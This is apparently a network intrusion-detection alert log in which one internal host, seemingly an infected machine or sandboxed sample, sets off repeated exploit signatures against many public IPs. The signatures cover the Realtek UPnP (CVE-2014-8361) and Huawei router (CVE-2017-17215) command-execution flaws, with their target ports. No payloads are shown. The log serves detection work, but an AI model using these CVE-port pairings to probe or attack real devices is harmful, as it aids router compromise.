ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:46.471349
SID:	2025132
Source Port:	33208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.29.184.117

Timestamp:	07/20/24-23:01:53.057359
SID:	2027339
Source Port:	38558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.117.225.80

Timestamp:	07/20/24-23:01:51.835178
SID:	2025132
Source Port:	59778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.50.56.223

Timestamp:	07/20/24-23:01:31.991336
SID:	2829579
Source Port:	35894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.98.159.35

Timestamp:	07/20/24-23:01:52.161851
SID:	2025132
Source Port:	38102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.22.157.142

Timestamp:	07/20/24-23:01:53.524729
SID:	2025132
Source Port:	47114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.213.243.211

Timestamp:	07/20/24-23:01:20.152427
SID:	2835222
Source Port:	53950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.122.87.133

Timestamp:	07/20/24-23:01:54.930155
SID:	2027339
Source Port:	57282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.106.185

Timestamp:	07/20/24-23:00:59.168569
SID:	2829579
Source Port:	58398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.35.167.52

Timestamp:	07/20/24-23:01:44.944836
SID:	2027339
Source Port:	55484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 104.187.254.126

Timestamp:	07/20/24-23:01:27.651536
SID:	2829579
Source Port:	38282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.37.204.244

Timestamp:	07/20/24-23:01:42.250039
SID:	2027339
Source Port:	38152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.109.251.204

Timestamp:	07/20/24-23:01:47.962852
SID:	2025132
Source Port:	59642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.162.26.171

Timestamp:	07/20/24-23:01:50.280308
SID:	2027339
Source Port:	55862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.249.51.37

Timestamp:	07/20/24-23:01:40.321300
SID:	2829579
Source Port:	38676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.246.229.175

Timestamp:	07/20/24-23:01:44.636234
SID:	2027339
Source Port:	50636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.209.219.113

Timestamp:	07/20/24-23:01:42.966322
SID:	2027339
Source Port:	55386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.184.89.253

Timestamp:	07/20/24-23:00:59.158278
SID:	2829579
Source Port:	39054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.104.161.240

Timestamp:	07/20/24-23:01:31.322288
SID:	2831300
Source Port:	60192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.157.181.46

Timestamp:	07/20/24-23:01:41.318733
SID:	2027339
Source Port:	41494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.84.99.94

Timestamp:	07/20/24-23:01:04.039129
SID:	2835222
Source Port:	55026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.153.61.251

Timestamp:	07/20/24-23:01:45.202570
SID:	2025132
Source Port:	58744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.215.110.183

Timestamp:	07/20/24-23:01:51.919746
SID:	2027339
Source Port:	57832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.242.116.26

Timestamp:	07/20/24-23:01:44.788688
SID:	2025132
Source Port:	51846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.245.127.235

Timestamp:	07/20/24-23:01:50.332163
SID:	2831300
Source Port:	40454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 95.253.23.104

Timestamp:	07/20/24-23:01:57.787786
SID:	2025132
Source Port:	43082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.206.255.62

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	42402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 12.188.189.35

Timestamp:	07/20/24-23:01:44.640473
SID:	2831300
Source Port:	33286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 165.70.37.218

Timestamp:	07/20/24-23:01:20.175900
SID:	2829579
Source Port:	50092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.157.152.232

Timestamp:	07/20/24-23:01:46.450130
SID:	2027339
Source Port:	58138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.118.206

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	36520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.50.29.160

Timestamp:	07/20/24-23:01:41.290518
SID:	2027339
Source Port:	40086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.203.112.129

Timestamp:	07/20/24-23:01:41.358696
SID:	2027339
Source Port:	43296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.85.175.26

Timestamp:	07/20/24-23:01:47.267254
SID:	2025132
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.40.217.143

Timestamp:	07/20/24-23:01:14.049603
SID:	2829579
Source Port:	40608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.179.89.83

Timestamp:	07/20/24-23:01:50.212922
SID:	2027339
Source Port:	40040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.130.229.37

Timestamp:	07/20/24-23:01:00.634497
SID:	2835222
Source Port:	41068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.199.56.180

Timestamp:	07/20/24-23:01:42.647416
SID:	2027339
Source Port:	48246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 119.167.95.17

Timestamp:	07/20/24-23:01:44.302645
SID:	2831300
Source Port:	44116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:49.809920
SID:	2027339
Source Port:	54402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.42.163

Timestamp:	07/20/24-23:01:21.951975
SID:	2829579
Source Port:	39574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.6.98.70

Timestamp:	07/20/24-23:00:57.221748
SID:	2829579
Source Port:	47728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.74.6.111

Timestamp:	07/20/24-23:01:58.719313
SID:	2027339
Source Port:	39752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.83.57.75

Timestamp:	07/20/24-23:01:11.636425
SID:	2829579
Source Port:	53820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.139.123.246

Timestamp:	07/20/24-23:01:45.075399
SID:	2027339
Source Port:	55444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.239.243.106

Timestamp:	07/20/24-23:01:58.822700
SID:	2027339
Source Port:	49678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.19.81.156

Timestamp:	07/20/24-23:01:44.894921
SID:	2831300
Source Port:	55432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.196.31.124

Timestamp:	07/20/24-23:01:51.441890
SID:	2027339
Source Port:	50686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.125.239

Timestamp:	07/20/24-23:01:40.296076
SID:	2829579
Source Port:	45744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.60.97.199

Timestamp:	07/20/24-23:01:01.292992
SID:	2027339
Source Port:	33712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.89.247.80

Timestamp:	07/20/24-23:01:21.952782
SID:	2835222
Source Port:	49764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.184.40.220

Timestamp:	07/20/24-23:01:03.207719
SID:	2025132
Source Port:	59236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.179.86.20

Timestamp:	07/20/24-23:01:06.975117
SID:	2835222
Source Port:	42152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 126.201.61.171

Timestamp:	07/20/24-23:01:27.654173
SID:	2835222
Source Port:	42294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.144.207.10

Timestamp:	07/20/24-23:01:51.916672
SID:	2027339
Source Port:	46732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.152.212.38

Timestamp:	07/20/24-23:01:51.743446
SID:	2025132
Source Port:	52870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.172.242.183

Timestamp:	07/20/24-23:01:20.124696
SID:	2829579
Source Port:	33298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 204.152.123.98

Timestamp:	07/20/24-23:01:42.837135
SID:	2831300
Source Port:	47254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.252.225.26

Timestamp:	07/20/24-23:01:43.978983
SID:	2027339
Source Port:	57384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.65.225.50

Timestamp:	07/20/24-23:01:52.019773
SID:	2027339
Source Port:	42918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.31.223.242

Timestamp:	07/20/24-23:01:08.677189
SID:	2027339
Source Port:	54180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.243.46

Timestamp:	07/20/24-23:01:27.655551
SID:	2835222
Source Port:	34602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.90.39.173

Timestamp:	07/20/24-23:01:02.731126
SID:	2027339
Source Port:	56040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 31.234.118.120

Timestamp:	07/20/24-23:01:42.704267
SID:	2025132
Source Port:	55242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.225.143.5

Timestamp:	07/20/24-23:01:47.924852
SID:	2027339
Source Port:	52002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.16.14.245

Timestamp:	07/20/24-23:01:55.694589
SID:	2025132
Source Port:	48562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.96.78.14

Timestamp:	07/20/24-23:02:08.084136
SID:	2027339
Source Port:	46518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.94.179.5

Timestamp:	07/20/24-23:01:09.058270
SID:	2027339
Source Port:	54394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.77.223.88

Timestamp:	07/20/24-23:01:44.156178
SID:	2027339
Source Port:	49758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 200.70.243.196

Timestamp:	07/20/24-23:01:42.434719
SID:	2831300
Source Port:	34494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.67.251.17

Timestamp:	07/20/24-23:01:02.064358
SID:	2835222
Source Port:	52358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.60.172.121

Timestamp:	07/20/24-23:01:14.111381
SID:	2829579
Source Port:	59232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.186.3.56

Timestamp:	07/20/24-23:01:31.975158
SID:	2829579
Source Port:	58306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.189.246.31

Timestamp:	07/20/24-23:01:42.147980
SID:	2831300
Source Port:	56432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.166.228.6

Timestamp:	07/20/24-23:01:31.979565
SID:	2835222
Source Port:	53294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.12.75.155

Timestamp:	07/20/24-23:01:44.277250
SID:	2027339
Source Port:	54614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.185.211.99

Timestamp:	07/20/24-23:01:49.097048
SID:	2027339
Source Port:	44602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.188.109.169

Timestamp:	07/20/24-23:01:42.522141
SID:	2025132
Source Port:	57308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.0.5.154

Timestamp:	07/20/24-23:01:02.690149
SID:	2025132
Source Port:	55002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.107.25.12

Timestamp:	07/20/24-23:01:08.590753
SID:	2027339
Source Port:	46306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.91.21.81

Timestamp:	07/20/24-23:01:21.951975
SID:	2835222
Source Port:	46354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.249.201.235

Timestamp:	07/20/24-23:01:25.187391
SID:	2027339
Source Port:	50668
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.183.134.67

Timestamp:	07/20/24-23:01:42.425705
SID:	2027339
Source Port:	39430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 151.22.190.51

Timestamp:	07/20/24-23:01:04.039128
SID:	2835222
Source Port:	39040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.115.27.6

Timestamp:	07/20/24-23:01:04.178669
SID:	2025132
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.212.70.208

Timestamp:	07/20/24-23:01:45.854405
SID:	2025132
Source Port:	50904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.7.238

Timestamp:	07/20/24-23:00:57.221583
SID:	2835222
Source Port:	35138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.38.7.5

Timestamp:	07/20/24-23:01:31.331748
SID:	2027339
Source Port:	53304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.201.119.160

Timestamp:	07/20/24-23:01:42.790558
SID:	2831300
Source Port:	47720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.152.226.6

Timestamp:	07/20/24-23:01:51.130270
SID:	2025132
Source Port:	54738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 40.163.171.209

Timestamp:	07/20/24-23:01:40.285038
SID:	2835222
Source Port:	40002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.132.55.249

Timestamp:	07/20/24-23:01:47.243820
SID:	2831300
Source Port:	38550
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.227.205.159

Timestamp:	07/20/24-23:01:55.076019
SID:	2027339
Source Port:	38152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.83.34.135

Timestamp:	07/20/24-23:01:04.230950
SID:	2829579
Source Port:	45392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.51.135.205

Timestamp:	07/20/24-23:01:46.871315
SID:	2027339
Source Port:	47642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.251.124.204

Timestamp:	07/20/24-23:01:42.664090
SID:	2831300
Source Port:	52998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.69.136.147

Timestamp:	07/20/24-23:01:54.901420
SID:	2027339
Source Port:	53268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.252.187

Timestamp:	07/20/24-23:01:40.275256
SID:	2835222
Source Port:	42886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.144.20.22

Timestamp:	07/20/24-23:01:45.452336
SID:	2025132
Source Port:	40572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

